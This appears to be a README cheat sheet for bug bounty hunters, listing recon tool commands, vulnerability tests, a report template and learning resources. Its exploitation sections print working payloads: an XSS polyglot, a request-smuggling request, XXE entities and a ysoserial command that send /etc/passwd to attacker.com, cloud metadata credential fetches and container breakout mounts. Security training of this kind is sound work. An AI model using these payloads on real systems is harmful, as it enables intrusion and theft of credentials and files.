🔐 Advanced Bug Bounty Arsenal 🔐

A comprehensive collection of methodologies, tools, and techniques for modern bug hunters (2025 Edition)

Free resources for everyone to become a better bug hunter
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📋 Table of Contents

• Introduction
• Reconnaissance Techniques
• Vulnerability Discovery
• Exploitation
• Post-Exploitation
• Reporting
• Resources
• Tools
• Contributing
• License

🚀 Introduction

This repository contains a carefully curated collection of advanced methodologies, cutting-edge tools, and proven techniques for bug bounty hunting. Whether you're a beginner or an experienced security researcher, this resource will help elevate your hacking skills to the next level.

Why Bug Bounty Hunting?

• Legal Way to Hack: Practice your skills in a legitimate environment
• Financial Rewards: Earn bounties while learning
• Career Growth: Build your resume with real-world experience
• Community: Join a global community of security researchers
• Impact: Help make the internet more secure for everyone

🔍 Reconnaissance Techniques

Advanced Subdomain Enumeration

Use a combination of these techniques for maximum coverage:

# Passive recon using multiple tools
subfinder -d target.com -all | anew subdomains.txt
amass enum -passive -d target.com | anew subdomains.txt
github-subdomains -d target.com -t GITHUB_TOKEN | anew subdomains.txt

# Permutation scanning
dnsgen subdomains.txt | puredns resolve -r resolvers.txt | anew resolved.txt

# Advanced brute forcing
ffuf -u https://FUZZ.target.com -w wordlist.txt -mc 200,403,301,302,307 -o ffuf_results.txt

Visual Reconnaissance

cat resolved.txt | aquatone -out ./aquatone
gowitness file -f resolved.txt -P ./screenshots --no-http

👉 Comprehensive Asset Discovery

1. API Endpoint Discovery

   katana -u target.com -jc | grep -E "api|graphql|v1|v2|v3" | anew api_endpoints.txt

2. JavaScript Analysis

   nuclei -t js-endpoints.yaml -l resolved.txt -o js_endpoints.txt

3. Cloud Assets Discovery

   cloudlist -o cloud_assets.txt -t target.com
   s3scanner scan -f domains.txt

4. CI/CD Environment Enumeration

   gitGraber -k keywords.txt -q "org:targetorg"
   nuclei -t cicd-exposed.yaml -l resolved.txt

5. Mobile App Reverse Engineering

   jadx -d output_dir target.apk
   grep -r "https://" ./output_dir

💉 Vulnerability Discovery

Modern Web Vulnerabilities

Category	Vulnerability	Detection Method
API	GraphQL Introspection	graphw00f -t https://api.target.com/graphql
Auth	OAuth 2.0 Misconfiguration	nuclei -t oauth-misconfiguration.yaml -l endpoints.txt
Client-Side	DOM Clobbering	gxss -u "https://target.com/?param=FUZZ" -p payloads.txt
Server-Side	Server Side Template Injection	tplmap -u "https://target.com/?param=FUZZ"
Access Control	JWT Vulnerabilities	jwt_tool.py -M at -t "JWT_TOKEN"
Supply Chain	Dependency Confusion	dependency-check --scan node_modules

👉 Advanced Testing Techniques

1. XSS Polyglots for Bypassing WAFs

   jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

2. Race Condition Testing

   turbo-intruder race_condition.py https://target.com/api/endpoint

3. Advanced SSRF to RCE Chains

   # Use Interactsh for SSRF detection
   interactsh-client
   # Then use the generated URL in your SSRF payloads
   # Example: https://target.com/api/fetch?url=http://INTERACTSH_URL/ssrf

4. GraphQL Query Batching Attack

   [{"query":"query{user{id name email}}","variables":null},{"query":"query{systemInfo}","variables":null}]

5. HTTP Request Smuggling

   POST / HTTP/1.1
   Host: target.com
   Transfer-Encoding: chunked
   Transfer-encoding: cow
   
   0
   
   GET /admin HTTP/1.1
   Host: target.com

🔓 Exploitation

Universal XXE Payloads

<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;]>

Evil.dtd:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;
%send;

Advanced SQLi Techniques

# Time-based blind SQLi automation
sqlmap -u "https://target.com/page?id=1" --level=5 --risk=3 --batch --time-sec=1

# Second-order SQL injection
sqlmap -u "https://target.com/page1" --data="username=test&password=test" --second-url="https://target.com/page2" --second-req=req.txt

👉 Zero-Day Hunting Techniques

1. Source Code Mining for Vulnerabilities

   trufflehog --regex --entropy=False --max_depth=50 https://github.com/target/repo

2. Protocol-Level Fuzzing

   # HTTP/2 Fuzzing
   h2csmuggler -u https://target.com/

3. Custom Deserialization Exploits

   // Java deserialization payload generation
   java -jar ysoserial.jar CommonsCollections5 'curl attacker.com/$(cat /etc/passwd)' > payload.bin

4. WebSocket Security Testing

   # Using wscat to connect to WebSocket
   wscat -c wss://target.com/ws
   # Then send payloads to test for vulnerabilities

5. IoT Firmware Analysis

   binwalk -e firmware.bin
   grep -r "password" ./firmware_extracted/

🔄 Post-Exploitation

Privilege Escalation

# Internal Service Discovery
curl internal-api.target.com/v1/users

# SSRF to access cloud metadata
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

👉 Internal Network Pivoting

1. Container Breakout Techniques

   # Check if you're in a container
   cat /proc/1/cgroup
   
   # Mount host filesystem
   mkdir -p /tmp/host
   mount /dev/sda1 /tmp/host

2. JWT Token Pivoting

   # Extract and modify JWT to escalate privileges
   jwt-cracker <token> [alphabet] [attempts]

3. Using GraphQL for Internal Recon

   query {
     __schema {
       types {
         name
         fields {
           name
           description
         }
       }
     }
   }

📝 Reporting

Report Template

# Vulnerability Report

## Overview
[Brief description of the vulnerability]

## Severity
[Critical/High/Medium/Low]

## Steps to Reproduce
1. [Step 1]
2. [Step 2]
3. [Step 3]

## Impact
[Describe what an attacker could do with this vulnerability]

## Proof of Concept
[Include screenshots, code, or videos]

## Remediation
[Recommendations for fixing the issue]

👉 Tips for Better Reports

1. Chain Multiple Vulnerabilities

   • Show how combining low-severity issues can lead to critical impact

2. Include Business Impact

   • Explain how the vulnerability affects the company's business

3. Create Proof of Concept Code

   • Make it easy for the team to reproduce your findings

4. Provide Clear Remediation

   • Give actionable advice on how to fix the issue

5. Follow Up Responsibly

   • Be patient and professional in your communications

📚 Resources

Must-Read Books

• Real-World Bug Hunting by Peter Yaworski
• The Web Application Hacker's Handbook by Dafydd Stuttard
• Bug Bounty Bootcamp by Vickie Li
• Hands-On Bug Hunting by Joseph Marshall

Advanced Learning Platforms

• PortSwigger Web Security Academy
• HackTheBox
• TryHackMe
• PentesterLab
• OWASP Juice Shop

Bug Bounty Platforms

• HackerOne
• Bugcrowd
• Intigriti
• Synack
• YesWeHack

🛠️ Tools

For a complete list of tools, see tools list.txt

👉 New Tools (2025)

1. Nuclei v3

   • Advanced vulnerability scanner with machine learning capabilities
   • nuclei -u https://target.com -t nuclei-templates

2. Katana v2

   • Crawling and spidering framework with JS rendering
   • katana -u https://target.com -jc -fs screens

3. Jaeles v2

   • Advanced web application scanner
   • jaeles scan -u https://target.com -s 'cves/,common/'

4. httpx v2

   • Enhanced HTTP toolkit
   • httpx -l domains.txt -title -tech-detect -status-code

5. Feroxbuster

   • Fast content discovery tool
   • feroxbuster -u https://target.com -w wordlist.txt

6. GF Patterns

   • Pattern matcher for various vulnerabilities
   • cat urls.txt | gf xss

7. dnsx

   • Fast and multi-purpose DNS toolkit
   • dnsx -l domains.txt -a -resp

8. Notify

   • Notification service for bug bounty workflows
   • notify -data "Target: example.com: XSS found"

9. ParamSpider

   • Mining parameters from web archives
   • python3 paramspider.py -d target.com

10. Dalfox v3

    • Advanced XSS scanner
    • dalfox url https://target.com?param=test

🤝 Contributing

Contributions are welcome! Please feel free to submit a Pull Request, open an Issue, or suggest new resources.

📜 License

This project is licensed under the MIT License - see the LICENSE file for details.

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